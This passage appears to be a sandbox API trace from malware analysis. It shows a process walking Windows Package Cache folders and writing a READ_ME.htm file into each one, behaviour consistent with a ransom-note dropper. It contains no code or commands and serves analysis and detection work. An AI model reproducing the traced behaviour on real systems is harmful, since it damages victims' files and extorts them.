0x53 [0142.171] SetErrorMode (uMode=0x1) returned 0x0 [0142.171] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.171] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.171] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.171] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.171] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.172] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.172] SetErrorMode (uMode=0x0) returned 0x1 [0142.172] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.172] SetErrorMode (uMode=0x1) returned 0x0 [0142.172] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.172] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0142.173] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0142.173] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.173] SetErrorMode (uMode=0x0) returned 0x1 [0142.173] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.173] SetErrorMode (uMode=0x1) returned 0x0 [0142.173] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.174] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.174] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.174] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0142.174] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0142.174] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.174] SetErrorMode (uMode=0x0) returned 0x1 [0142.174] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0142.175] SetErrorMode (uMode=0x1) returned 0x0 [0142.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.175] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.176] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.176] SetErrorMode (uMode=0x0) returned 0x1 [0142.176] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0142.176] SetErrorMode (uMode=0x1) returned 0x0 [0142.176] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.176] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.176] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.176] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.177] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.177] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.177] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.177] SetErrorMode (uMode=0x0) returned 0x1 [0142.177] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x80 [0142.177] SetErrorMode (uMode=0x1) returned 0x0 [0142.177] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.178] SetErrorMode (uMode=0x0) returned 0x1 [0142.178] GetFileType (hFile=0x1d0) returned 0x1 [0142.179] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a017e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a017e0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x68 [0142.180] SetErrorMode (uMode=0x1) returned 0x0 [0142.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.183] SetErrorMode (uMode=0x0) returned 0x1 [0142.183] GetFileType (hFile=0x1d0) returned 0x1 [0142.183] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a05e50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a05e50*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.185] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0142.185] SetErrorMode (uMode=0x1) returned 0x0 [0142.185] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.186] SetErrorMode (uMode=0x0) returned 0x1 [0142.186] GetFileType (hFile=0x1d0) returned 0x1 [0142.186] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0a490*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a0a490*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.188] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.188] SetErrorMode (uMode=0x1) returned 0x0 [0142.188] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.188] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.189] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.189] SetErrorMode (uMode=0x0) returned 0x1 [0142.189] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package 